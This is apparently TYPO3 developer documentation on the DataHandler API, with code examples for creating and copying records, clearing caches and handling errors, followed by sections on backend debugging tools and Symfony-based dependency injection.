The $copyMappingArray_merged property can be used to determine the UID of a record copy based on the UID of the copied record.

The structure of the $copyMappingArray_merged property looks like this:

EXT:my_extension/Classes/DataHandling/MyClass.php
$copyMappingArray_merged = [
   <table> => [
      <original-record-uid> => <record-copy-uid>,
   ],
];
Copied!

The property contains the names of the manipulated tables as keys and a map of original record UIDs and UIDs of record copies as values.

EXT:my_extension/Classes/DataHandling/MyClass.php
$cmd['tt_content'][1203]['copy'] = 400;  // Copies tt_content uid=1203 to first position in page uid=400
$this->dataHandler->start([], $cmd);
$this->dataHandler->process_cmdmap();

$uid = $this->dataHandler->copyMappingArray_merged['tt_content'][1203];
Copied!

Data array

Syntax: $data['<tablename>'][<uid>]['<fieldname>'] = 'value'

Description of keywords in syntax:

tablename

tablename
Data type
string

Name of the database table. There must be a configuration for the table in $GLOBALS['TCA'] array, otherwise it cannot be processed.

uid

uid
Data type
string|int

The UID of the record that is modified. If the record already exists, this is an integer.

If you are creating new records, use a random string prefixed with NEW, for example, NEW7342abc5e6d. You can use static strings (NEW1, NEW2, ...) or generate them using \TYPO3\CMS\Core\Utility\StringUtility::getUniqueId('NEW').

fieldname

fieldname
Data type
string

Name of the database field you want to set a value for. The columns of the table must be configured in $GLOBALS['TCA'][$table]['columns'].

value

value
Data type
string

Value for "fieldname".

For fields of type inline this is a comma-separated list of UIDs of referenced records.

Examples of data submission

This creates a new page titled "The page title" as the first page inside page id 45:

EXT:my_extension/Classes/DataHandling/MyClass.php
$data['pages']['NEW9823be87'] = [
    'title' => 'The page title',
    'subtitle' => 'Other title stuff',
    'pid' => '45'
];
Copied!

This creates a new page titled "The page title" right after page id 45 in the tree:

EXT:my_extension/Classes/DataHandling/MyClass.php
$data['pages']['NEW9823be87'] = [
    'title' => 'The page title',
    'subtitle' => 'Other title stuff',
    'pid' => '-45'
];
Copied!

This creates two new pages right after each other, located right after the page id 45:

EXT:my_extension/Classes/DataHandling/MyClass.php
$data['pages']['NEW9823be87'] = [
    'title' => 'Page 1',
    'pid' => '-45'
];
$data['pages']['NEWbe68s587'] = [
    'title' => 'Page 2',
    'pid' => '-NEW9823be87'
];
Copied!

Notice how the second "pid" value points to the "NEW..." id placeholder of the first record. This works because the new id of the first record can be accessed by the second record. However it works only when the order in the array is as above since the processing happens in that order!

This creates a new content record with references to existing and one new system category:

EXT:my_extension/Classes/DataHandling/MyClass.php
$data['sys_category']['NEW9823be87'] = [
    'title' => 'New category',
    'pid' => 1,
];
$data['tt_content']['NEWbe68s587'] = [
    'header' => 'Look ma, categories!',
    'pid' => 45,
    'categories' => [
        1,
        2,
        'NEW9823be87', // You can also use placeholders here
    ],
];
Copied!

This updates the page with uid=9834 to a new title, "New title for this page", and no_cache checked:

EXT:my_extension/Classes/DataHandling/MyClass.php
$data['pages'][9834] = [
    'title' => 'New title for this page',
    'no_cache' => '1'
];
Copied!

Clear cache

DataHandler also has an API for clearing the cache tables of TYPO3:

EXT:my_extension/Classes/DataHandling/MyClass.php
$this->dataHandler->clear_cacheCmd($cacheCmd);
Copied!

Values for the $cacheCmd argument:

[integer]

[integer]

Clear the cache for the page ID given.

"all"

"all"

Clears all cache tables (cache_pages, cache_pagesection, cache_hash).

Only available for admin-users unless explicitly allowed by User TSconfig "options.clearCache.all".

"pages"

"pages"

Clears all pages from cache_pages.

Only available for admin-users unless explicitly allowed by User TSconfig "options.clearCache.pages".

Clear cache using cache tags

Every processing of data or commands is finalized with flushing a few caches in the pages group. Cache tags are used to specifically flush the the relevant cache entries instead of the cache as whole.

By default the following cache tags are flushed:

  • The table name of the updated record, for example, pages when updating a page or tx_myextension_mytable when updating a record of this table.
  • A combination of table name and record UID, for example, pages_10 when updating the page with UID 10 or tx_myextension_mytable_20 when updating the record with UID 20 of this table.
  • A page UID prefixed with pageID_ ( pageId_<page-uid>), for example, pageId_10 when updating a page with UID 10 (additionally all related pages, see clearcache-pagegrandparent and clearcache-pagesiblingchildren) and pageId_10 when updating a record if a record of any table placed on the page with UID 10 ( <table>.pid = 10) is updated.

Notice that you can also use the TypoScriptFrontendController->addCacheTags() method to register additional tags for the cache entry of the current page while it is rendered. This way you can implement an elaborate caching behavior which ensures that every record update in the TYPO3 backend (which is processed by the DataHandler) automatically flushes the cache of all pages where that record is displayed.

Following the rules mentioned above you could register cache tags from within your Extbase plugin (for example, controller or a custom ViewHelper):

EXT:my_extension/Classes/Controller/SomeController.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Domain\Model\ExampleModel;
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;
use TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController;

final class SomeController extends ActionController
{
    public function showAction(ExampleModel $example): ResponseInterface
    {
        // ...

        /** @var TypoScriptFrontendController $frontendController */
        $frontendController = $this->request->getAttribute('frontend.controller');
        $frontendController->addCacheTags([
            sprintf('tx_myextension_example_%d', $example->getUid()),
        ]);

        // ...
    }
}
Copied!

Hook for cache post-processing

You can configure cache post-processing with a user defined PHP function. Configuration of the hook can be done from ext_localconf.php. An example might look like:

EXT:my_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['t3lib/class.t3lib_tcemain.php']['clearCachePostProc'][] =
    \MyVendor\MyExtension\Hook\DataHandlerHook::class . '->postProcessClearCache';
Copied!

Flags in DataHandler

There are a few internal variables you can set prior to executing commands or data submission. These are the most significant:

->copyTree

->copyTree
Data type
integer
Default
0

Sets the number of branches on a page tree to copy.

0
Branch is not copied
1
Pages on the first level are copied.
2
Pages on the second level are copied.

And so on.

->reverseOrder

->reverseOrder
Data type
boolean
Default
false

If set, the data array is reversed in the order, which is a nice thing if you are creating a whole bunch of new records.

->copyWhichTables

->copyWhichTables
Data type
list of strings (tables)
Default
"*"

This list of tables decides which tables will be copied. If empty then none will. If "*" then all will (that the user has permission to, of course).

Using the DataHandler in scripts

You can use the class \TYPO3\CMS\Core\DataHandling\DataHandler in your own scripts: Inject the DataHandler class, build a $data/ $cmd array you want to pass to the class, and call a few methods.

Using the DataHandler in a Symfony command

It is possible to use the DataHandler for scripts started from the command line or by the scheduler as well. You can do this by creating a Symfony Command.

These scripts use the _cli_ backend user. Before using the DataHandler in your execute() method, you should make sure that this user is initialized like this:

EXT:my_extension/Classes/Command/MyCommand.php
\TYPO3\CMS\Core\Core\Bootstrap::initializeBackendAuthentication();
Copied!

If you forget to add the backend user authentication, an error similar to this will occur:

[1.2.1]: Attempt to modify table "pages" without permission
Copied!

DataHandler examples

What follows are a few code listings with comments which will provide you with enough knowledge to get started. It is assumed that you have populated the $data and $cmd arrays correctly prior to these chunks of code. The syntax for these two arrays is explained in the DataHandler basics chapter.

Submitting data

This is the most basic example of how to submit data into the database.

EXT:my_extension/Classes/DataHandling/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes\DataHandling;

use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function submitData(): void
    {
        // Prepare the data array
        $data = [
            // ... the data ...
        ];

        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        // Register the $data array inside DataHandler and initialize the
        // class internally.
        $dataHandler->start($data, []);

        // Submit data and have all records created/updated.
        $dataHandler->process_datamap();
    }
}
Copied!

Executing commands

The most basic way of executing commands:

EXT:my_extension/Classes/DataHandling/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes\DataHandling;

use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function executeCommands(): void
    {
        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        // Prepare the cmd array
        $cmd = [
            // ... the cmd structure ...
        ];

        // Registers the $cmd array inside the class and initialize the
        // class internally.
        $dataHandler->start([], $cmd);

        // Execute the commands.
        $dataHandler->process_cmdmap();
    }
}
Copied!

Clearing cache

In this example the cache clearing API is used. No data is submitted, no commands are executed. Still you will have to initialize the class by calling the start() method (which will initialize internal state).

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes\DataHandling;

use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function clearCache(): void
    {
        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);
        $dataHandler->start([], []);
        $dataHandler->clear_cacheCmd('all');
    }
}
Copied!

Caches are organized in groups. Clearing "all" caches will actually clear caches from the "all" group and not really all caches. Check the caching framework architecture section for more details about available caches and groups.

Complex data submission

Imagine the $data array contains something like this:

$data = [
    'pages' => [
        'NEW_1' => [
            'pid' => 456,
            'title' => 'Title for page 1',
        ],
        'NEW_2' => [
            'pid' => 456,
            'title' => 'Title for page 2',
        ],
    ],
];
Copied!

This aims to create two new pages in the page with uid "456". In the following code this is submitted to the database. Notice the reversing of the order of the array: This is done because otherwise "page 1" is created first, then "page 2" in the same PID meaning that "page 2" will end up above "page 1" in the order. Reversing the array will create "page 2" first and then "page 1" so the "expected order" is preserved.

To insert a record after a given record, set the other record's negative uid as pid in the new record you're setting as data.

Apart from this a "signal" will be send that the page tree should be updated at the earliest occasion possible. Finally, the cache for all pages is cleared.

EXT:my_extension/Classes/DataHandling/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes\DataHandling;

use TYPO3\CMS\Backend\Utility\BackendUtility;
use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function submitComplexData(): void
    {
        $data = [
            'pages' => [
                'NEW_1' => [
                    'pid' => 456,
                    'title' => 'Title for page 1',
                ],
                'NEW_2' => [
                    'pid' => 456,
                    'title' => 'Title for page 2',
                ],
            ],
        ];

        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        $dataHandler->reverseOrder = true;
        $dataHandler->start($data, []);
        $dataHandler->process_datamap();
        BackendUtility::setUpdateSignal('updatePageTree');
        $dataHandler->clear_cacheCmd('pages');
    }
}
Copied!

Both data and commands executed with alternative user object

In this case it is shown how you can use the same object instance to submit both data and execute commands if you like. The order will depend on the order in the code.

First the start() method is called, but this time with the third possible argument which is an alternative $GLOBALS['BE_USER'] object. This allows you to force another backend user account to create stuff in the database. This may be useful in certain special cases. Normally you should not set this argument since you want DataHandler to use the global $GLOBALS['BE_USER'].

EXT:my_extension/Classes/DataHandling/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes\DataHandling;

use TYPO3\CMS\Core\Authentication\BackendUserAuthentication;
use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function useAlternativeUser(BackendUserAuthentication $alternativeBackendUser): void
    {
        // Prepare the data array
        $data = [
            // ... the data ...
        ];

        // Prepare the cmd array
        $cmd = [
            // ... the cmd structure ...
        ];

        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        $dataHandler->start($data, $cmd, $alternativeBackendUser);
        $dataHandler->process_datamap();
        $dataHandler->process_cmdmap();
    }
}
Copied!

Error handling

The data handler has a property errorLog as an array. In this property, the data handler collects all errors. You can use these, for example, for logging or other error handling.

EXT:my_extension/Classes/DataHandling/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes\DataHandling;

use Psr\Log\LoggerInterface;
use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Utility\GeneralUtility;

final class MyClass
{
    public function __construct(
        private readonly LoggerInterface $logger,
    ) {}

    public function handleError(): void
    {
        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        // ... previous call of DataHandler's process_datamap() or process_cmdmap()

        if ($dataHandler->errorLog !== []) {
            $this->logger->error('Error(s) while creating content element');
            foreach ($dataHandler->errorLog as $log) {
                // handle error, for example, in a log
                $this->logger->error($log);
            }
        }
    }
}
Copied!

The "/record/commit" route

This route is a gateway for posting form data to the \TYPO3\CMS\Backend\Controller\SimpleDataHandlerController .

You can send data to this file either as GET or POST vars where POST takes precedence. The variable names you can use are:

data

data
Data type
array

Data array on the form [tablename][uid][fieldname] = value.

Typically it comes from a POST form which submits a form field like <input name="data[tt_content][123][header]" value="This is the headline">.

cmd

cmd
Data type
array

Command array on the form [tablename][uid][command] = value. This array may get additional data set internally based on clipboard commands send in CB var!

Typically this comes from GET vars passed to the script like &cmd[tt_content][123][delete]=1 which will delete the content element with UID 123.

cacheCmd

cacheCmd
Data type
string

Cache command sent to DataHandler->clear_cacheCmd().

redirect

redirect
Data type
string

Redirect URL. The script will redirect to this location after performing operations (unless errors has occurred).

flags

flags
Data type
array

Accepts options to be set in DataHandler object. Currently, it supports "reverseOrder" (boolean).

mirror

mirror
Data type
array

Example: [mirror][table][11] = '22,33' will look for content in [data][table][11] and copy it to [data][table][22] and [data][table][33].

CB

CB
Data type
array

Clipboard command array. May trigger changes in "cmd".

vC

vC
Data type
string

Verification code.

Debugging

PHP

TYPO3 backend debug mode

To display additional debug information in the backend, set $GLOBALS['TYPO3_CONF_VARS']['BE']['debug'] in config/system/settings.php and log in with an administrator account.

It shows for example the names of fields and in case of select, radio and checkbox fields the values in addition, which are generated by the FormEngine. These can be used to set access permissions or configuration using TSconfig.

If EXT:lowlevel is installed, the name of the database table or field is appended to the select options in the System > DB Check > Full Search module.

Additionally, in debug mode, the page renderer does not compress or concatenate JavaScript or CSS resources.

DebugUtility::debug()

The TYPO3 Core provides a simple debug() (defined in EXT:core/Classes/Core/GlobalDebugFunctions.php). It wraps around \TYPO3\CMS\Core\Utility\DebugUtility::debug() and will output debug information only if it matches a set of IP addresses (defined in $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask']).

For example, the following code:

Extension examples, file Classes/Controller/ModuleController.php
use TYPO3\CMS\Core\Utility\DebugUtility;

class ModuleController extends ActionController implements LoggerAwareInterface
{
    protected function debugCookies() {
        DebugUtility::debug($_COOKIE, 'cookie');
    }
}
Copied!

will produce such an output:

Typical TYPO3 debug output

In general, look at class \TYPO3\CMS\Core\Utility\DebugUtility for useful debugging tools.

Extbase DebuggerUtility

Extbase's DebuggerUtility::var_dump() is a debugging function in TYPO3 that outputs detailed, human-readable information about variables, including their type and structure. It offers features like depth control and optional backtrace information to assist developers in effectively debugging complex data structures.

Example:

\TYPO3\CMS\Extbase\Utility\DebuggerUtility::var_dump($myVariable);

You can also use the Extbase DebuggerUtility to debug SQL Querys for example. To do so, put the following code snippet before the execute function of your SQL query:

\TYPO3\CMS\Extbase\Utility\DebuggerUtility::var_dump($queryBuilder->getSQL());

Fluid Debug ViewHelper

The Fluid Debug ViewHelper is a part of the Fluid template engine and generates a HTML dump of the tagged variable. The ViewHelper can be used in any Fluid template to output the value of variables or objects in a human-readable format.

Example:

<f:debug>{myVariable}</f:debug>

To display all available variables in your Fluid template, you can use the _all placeholder:

<f:debug>{_all}</f:debug>

Get more information in the Fluid ViewHelper Reference Debug ViewHelper <f:debug>

Xdebug

First of all: best practice to debug PHP code is using an IDE (like PhpStorm or Visual Studio Code) with Xdebug. Advantages are:

  • You can investigate the values of variables and class properties when setting a breakpoint.
  • You can move forward line by line and see how the variables and properties change.
  • You can also step into calling methods and functions.
  • You see the calling code as a stack trace.

DebugUtility::debug()

The TYPO3 Core provides a simple debug() (defined in EXT:core/Classes/Core/GlobalDebugFunctions.php). It wraps around \TYPO3\CMS\Core\Utility\DebugUtility::debug() and will output debug information only if it matches a set of IP addresses (defined in $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask']).

For example, the following code:

Extension examples, file Classes/Controller/ModuleController.php
use TYPO3\CMS\Core\Utility\DebugUtility;

class ModuleController extends ActionController implements LoggerAwareInterface
{
    protected function debugCookies() {
        DebugUtility::debug($_COOKIE, 'cookie');
    }
}
Copied!

will produce such an output:

Typical TYPO3 debug output

In general, look at class \TYPO3\CMS\Core\Utility\DebugUtility for useful debugging tools.

TYPO3 backend debug mode

To display additional debug information in the backend, set $GLOBALS['TYPO3_CONF_VARS']['BE']['debug'] in LocalConfiguration.php and log in with an administrator account.

It shows for example the names of fields and in case of select, radio and checkbox fields the values in addition, which are generated by the FormEngine. These can be used to set access permissions or configuration using TSconfig.

If EXT:lowlevel is installed, the name of the database table or field is appended to the select options in the System > DB Check > Full Search module.

Additionally, in debug mode, the page renderer does not compress or concatenate JavaScript or CSS resources.

Backend language debug

Setting $GLOBALS['TYPO3_CONF_VARS']['BE']['languageDebug'] in the LocalConfiguration.php displays the language labels (with file and key) in the TYPO3 backend FormEngine.

Dependency injection

Abstract

This chapter explains "Dependency Injection (DI)" as used in TYPO3. Readers interested in the general concepts and principles may want to look at, for example, Dependency Injection in "PHP The Right Way" or What is dependency injection? by Fabien Potencier. Whenever a class has a service dependency to another class the technique of dependency injection should be used to satisfy that need. TYPO3 uses a Symfony component for dependency injection. The component is PSR-11 compliant, and it is used throughout Core and extensions to standardize object initialization. By default all API services shipped with the TYPO3 Core system extensions offer dependency injection. The recommended usage is constructor injection. Available as well are method injection and interface injection. To activate the Symfony component for dependency injection a few lines of configuration are necessary.

Introduction

The title of this chapter is "dependency injection" (DI), but the scope is a bit broader: In general, this chapter is about TYPO3 object lifecycle management and how to obtain objects, with one sub-part of it being dependency injection.

The underlying interfaces are based on the PHP-FIG (PHP Framework Interop Group) standard PSR-11 Container interface, and the implementation is based on Symfony service container and Symfony dependency injection components, plus some TYPO3 specific sugar.

This chapter not only talks about Symfony DI and its configuration via Services.yaml, but also a bit about services in general, about GeneralUtility::makeInstance() and the SingletonInterface. And since the TYPO3 core already had an object lifecycle management solution with the extbase ObjectManager before Symfony services were implemented, we'll also talk about how to transition away from it towards the core-wide Symfony solution.

Background and history

Obtaining object instances in TYPO3 has always been straightforward: Call GeneralUtility::makeInstance(\MyVendor\MyExtension\Some\Class::class) and hand over mandatory and optional __construct() arguments as additional arguments.

There are two quirks to that:

  • First, a class instantiated through makeInstance() can implement SingletonInterface. This empty interface definition tells makeInstance() to instantiate the object exactly once for this request, and if another makeInstance() call asks for it, the same object instance is returned - otherwise makeInstance() always creates a new object instance and returns it.
  • Second, makeInstance() allows "XCLASSing". This is a - rather dirty - way to substitute a class with a custom implementation. XCLASS'ing in general is brittle and seen as a last resort hack if no better solution is available. In connection with Symfony containers, XCLASSing services should be avoided in general and service overrides should be used instead. Replacing the XCLASS functionality in TYPO3 is still work in progress. In contrast, XCLASSing is still useful for data objects, and there is no good other solution yet.

Using makeInstance() worked very well for a long time. It however lacked a feature that has been added to the PHP world after makeInstance() had been invented: Dependency injection. There are lots of articles about dependency injection on the net, so we won't go too deep here but rather explain the main idea: The general issue appears when classes follow the separation of concerns principle.

One of the standard examples is logging. Let's say a class's responsibility is the creation of users - it checks everything and finally writes a row to database. Now, since this is an important operation, the class wants to log an information like "I just created user 'foo'". And this is where dependency injection enters the game: Logging is a huge topic, there are various levels of error, information can be written to various destinations and so on. The little class does not want to deal with all those details, but just wants to tell the framework: "Please give me some logger I can use and that takes care of all details, I don't want to know about details". This separation is the heart of single responsibility and separation of concerns.

Dependency injection does two things for us here: First, it allows separating concerns, and second, it hands the task of finding an appropriate implementation of a dependency over to the framework, so the framework decides - based on configuration - which specific instance is given to the consumer. Note in our example, the logging instance itself may have dependencies again - the process of object creation and preparation may be further nested.

In more abstract software engineering terms: Dependency injection is a pattern used to delegate the task of resolving class dependencies away from a consumer towards the underlying framework.

Back to history: After makeInstance() has been around for quite a while and lacked an implementation of dependency injection, Extbase appeared in 2009. Extbase brought a first container and dependency injection solution, it's main interface being the Extbase ObjectManager. The Extbase object manager has been widely used for a long time, but suffered from some issues younger approaches don't face. One of the main drawbacks of Extbase object manager is the fact that it's based on runtime reflection: Whenever an object is to be instantiated, the object manager scans the class for needed injections and prepares dependencies to be injected. This process is quite slow though mitigated by various caches. And these also come with costs. In the end, these issues have been the main reason the object manager was never established as a main core concept but only lived in Extbase scope.

The object lifecycle and dependency injection solution based on Symfony DI has been added in TYPO3v10 and is a general core concept: Next to the native dependency injection, it is also wired into makeInstance() as a long living backwards compatibility solution, and it fully substitutes the Extbase object manager. In contrast to the Extbase solution, Symfony based object management does not have the overhead of expensive runtime calculations. Instead it is an instance wide build-time solution: When TYPO3 bootstraps, all object creation details of all classes are read from a single cache file just once, and afterwards no expensive calculation is required for actual creation.

Symfony based DI was implemented in TYPO3 v10 and usage of the Extbase ObjectManager was discouraged. With TYPO3 v11 the core doesn't use the ObjectManager any more. It is actively deprecated in v11 and thus leads to 'deprecation' level log entries.

With TYPO3 v12 the Extbase ObjectManager is actually gone. Making use of Symfony DI integration still continues. There are still various places in the core to be improved. Further streamlining will be done over time. For instance, the final fate of makeInstance() and the SingletonInterface has not fully been decided on yet. Various tasks remain to be solved in younger TYPO3 developments to further improve the object lifecycle management provided by the core.

Build-time caches

To get a basic understanding of the core's lifecycle management it is helpful to get a rough insight on the main construct. As already mentioned, object lifecycle management is conceptualized as steps to take place at build-time. It is done very early and only once during the TYPO3 bootstrap process. All calculated information is written to a special cache that can not be reconfigured and is available early. On subsequent requests the cache file is loaded. Extensions can not mess with the construct if they adhere to the core API.

Besides being created early, the state of the container is independent and exactly the same in frontend, backend and CLI scope. The same container instance may even be used for multiple requests. This is becoming more and more important nowadays with the core being able to execute sub requests. The only exception to this is the Install Tool: It uses a more basic container that "cannot fail". This difference is not important for extension developers however since they can't hook into the Install Tool at those places anyways.

The Symfony container implementation is usually configured to actively scan the extension classes for needed injections. All it takes are just a couple of lines within the Services.yaml file. This should be done within all extensions that contain PHP classes and it is the fundamental setup we will outline in the following sections.

For developers, it is important to understand that dealing with Symfony DI is an early core bootstrap thing. The system will fail upon misconfiguration, so frontend and backend may be unreachable.

The container cache entry (at the time of this writing) is not deleted when a backend admin user clicks "Clear all cache" in the backend top toolbar. The only way to force a DI recalculation is using the "Admin tools" -> "Maintenance" -> "Flush Caches" button of the backend embedded Install Tool or the standalone Install Tool (/typo3/install.php) itself. This means: Whenever core or an extension fiddles with DI (or more general "Container") configuration, this cache has to be manually emptied for a running instance by clicking this button. The backend Extension Manager however does empty the cache automatically when loading or unloading extensions. Another way to quickly drop this cache during development is to remove all var/cache/code/di/* files, which reside in typo3temp/ in Legacy Mode instances or elsewhere in Composer Mode instances (see Environment). TYPO3 will then recalculate the cache upon the next access, no matter if it's a frontend, a backend or a CLI request.

The main takeaway is: When a developer fiddles with container configuration, the cache needs to be manually cleared. And if some configuration issue slipped in, which made the container or DI calculation fail, the system does not heal itself and needs both a fix of the configuration plus probably a cache removal. The standalone Install Tool however should always work, even if the backend breaks down, so the "Flush caches" button is always reachable. Note that if the container calculation fails, the var/log/typo3_* files contain the exception with backtrace!

Important terms

We will continue to use a couple of technical terms in this chapter, so let's quickly define them to align. Some of them are not precisely used in our world, for instance some Java devs may stumble upon "our" understanding of a prototype.

Prototype
The broad understanding of a prototype within the TYPO3 community is that it's simply an object that is created anew every time. Basically the direct opposite of a singleton. In fact, the prototype pattern describes a base object that is created once, so __construct() is called to set it up, after that it is cloned each time one wants to have a new instance of it. The community isn't well aware of that, and the core provides no "correct" prototype API, so the word prototype is often misused for an object that is always created anew when the framework is asked to create one.
Singleton
A singleton is an object that is instantiated exactly once within one request. If an instance is requested and the object has been created once already, the same instance is returned. Codewise, this is sometimes done by implementing a static getInstance() method that parks the instance in a property. In TYPO3, this can also be achieved by implementing the SingletonInterface, where makeInstance() then stores the object internally. Within containers, this can be done by declaring the object as shared ( shared: true), which is the default. We'll come back to details later. Singletons must not have state - they must act the same way each time they're used, no matter where, how often or when they've been used before. Otherwise the behavior of a singleton object is undefined and will lead to obscure errors.
Service
This is another "not by the book" definition. We use the understanding "What is a service?" from Symfony: In Symfony, everything that is instantiated through the service container (both directly via $container->get() and indirectly via DI) is a service. These are many things - for instance controllers are services, as well as - non static - utilities, repositories and obvious classes like mailers and similar. To emphasize: Not only classes named with a *Service suffix are services but basically anything. It does not matter much if those services are stateless or not. Controllers, for instance, are usually not stateless. (This is just a configuration detail from this point of view.) Note: The TYPO3 Core does not strictly follow this behavior in all cases yet, but it strives to get this more clean over time.
Data object

Data objects are the opposite of services. They are not available through service containers. Here calling $container->has() returns false and they can not be injected. They are instantiated either with new() or GeneralUtility::makeInstance(). Domain models or DTO are a typical example of data objects.

Note: Data objects are not "service container aware" and do not support DI. Although the TYPO3 core does not strictly follow this rule in all cases until now the ambition is to get this done over time.

Using DI

Now that we have a general understanding of what a service and what a data object is, let's turn to usages of services. We will mostly use examples for this.

The general rule is: Whenever your class has a service dependency to another class, one of the following solutions should be used.

When to use Dependency Injection in TYPO3

Class dependencies to services should be injected via constructor injection or setter methods. Where possible, Symfony dependency injection should be used for all cases where DI is required. Non-service "data objects" like Extbase domain model instances or DTOs should be instantiated via \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance() if they are non-final and support XCLASSing. For final classes without dependencies plain instantiation via the new keyword must be used.

In some APIs dependency injection cannot be used yet. This applies to classes that need specific data in their constructors or classes that are serialized and deserialized as, for example, scheduler tasks.

When dependency injection cannot be used directly yet, create a service class and make it public in the Configuration/Services.yaml. Create an instance of the service class via GeneralUtility::makeInstance(...) you can then use dependency injection in the service class.

Constructor injection

Assume we're writing a controller that renders a list of users. Those users are found using a custom UserRepository, so the repository service is a direct dependency of the controller service. A typical constructor dependency injection to resolve the dependency by the framework looks like this:

EXT:my_extension/Controller/UserController.php
namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Repository\UserRepository;

final class UserController
{
     private UserRepository $userRepository;

     public function __construct(UserRepository $userRepository)
     {
          $this->userRepository = $userRepository;
     }
}
Copied!

Here the Symfony container sees a dependency to UserRepository when scanning __construct() of the UserController. Since autowiring is enabled by default (more on that below), an instance of the UserRepository is created and provided when the controller is created.

Method injection

A second way to get services injected is by using inject*() methods:

EXT:my_extension/Controller/UserController.php
namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Repository\UserRepository;

final class UserController
{
     private ?UserRepository $userRepository = null;

     public function injectUserRepository(UserRepository $userRepository)
     {
         $this->userRepository = $userRepository;
     }
}
Copied!

This ends up with the basically the same result as above: The controller instance has an object of type UserRepository in class property $userRepository. The injection via methods was introduced by Extbase and TYPO3 core implemented it in addition to the default Symfony constructor injection. Why did we do that, you may ask? Both strategies have subtle differences: First, when using inject*() methods, the type hinted class property needs to be nullable, otherwise PHP >= 7.4 throws a warning since the instance is not set during __construct(). But that's just an implementation detail. More important is an abstraction scenario. Consider this case:

EXT:my_extension/Controller/UserController.php
namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Repository\UserRepository;
use MyVendor\MyExtension\Logger\Logger;

abstract class AbstractController
{
     protected ?Logger $logger = null;

     public function injectLogger(Logger $logger)
     {
         $this->logger = $logger;
     }
}

final class UserController extends AbstractController
{
     private UserRepository $userRepository;

     public function __construct(UserRepository $userRepository)
     {
         $this->userRepository = $userRepository;
     }
}
Copied!

We have an abstract constroller service with a dependency plus a controller service that extends the abstract and has further dependencies.

Now assume the abstract class is provided by TYPO3 core and the consuming class is provided by an extension. If the abstract class would use constructor injection, the consuming class would need to know the dependencies of the abstract, add its own dependency to the constructor, and then call parent::__construct($logger) to satisfy the dependency of the abstract. This would hardcode all dependencies of the abstract into extending classes. If later the abstract is changed and another dependency is added to the constructor, this would break consuming classes since they did not know that.

Differently put: When core classes "pollute" __construct() with dependencies, the core can not add dependencies without being breaking. This is the reason why for example the extbase AbstractController uses inject*() methods for its dependencies: Extending classes can then use constructor injection, do not need to call parent::__construct(), and the core is free to change dependencies of the abstract.

In general, when the core provides abstract classes that are expected to be extended by extensions, the abstract class should use inject*() methods instead of constructor injection. Extensions of course can follow this idea in similar scenarios.

This construct has some further implications: Abstract classes should think about making their dependency properties private, so extending classes can not rely on them. Furthermore, classes that should not be extended by extensions are free to use constructor injection and should be marked final, making sure they can't be extended to allow internal changes.

As a last note on method injection, there is another way to do it: It is possible to use a setFooDependency() method if it has the annotation @required. This second way of method injection however is not used within the TYPO3 framework, should be avoided in general, and is just mentioned here for completeness.

Interface injection

Apart from constructor injection and inject*() method injection, there is another useful dependency injection scenario. Look at this example:

EXT:my_extension/Controller/UserController.php
namespace MyVendor\MyExtension\Controller;

use MyVendor\MyExtension\Logger\LoggerInterface;

final class UserController extends AbstractController
{
     protected LoggerInterface $logger;

     public function __construct(LoggerInterface $logger)
     {
         $this->logger = $logger;
     }
}
Copied!

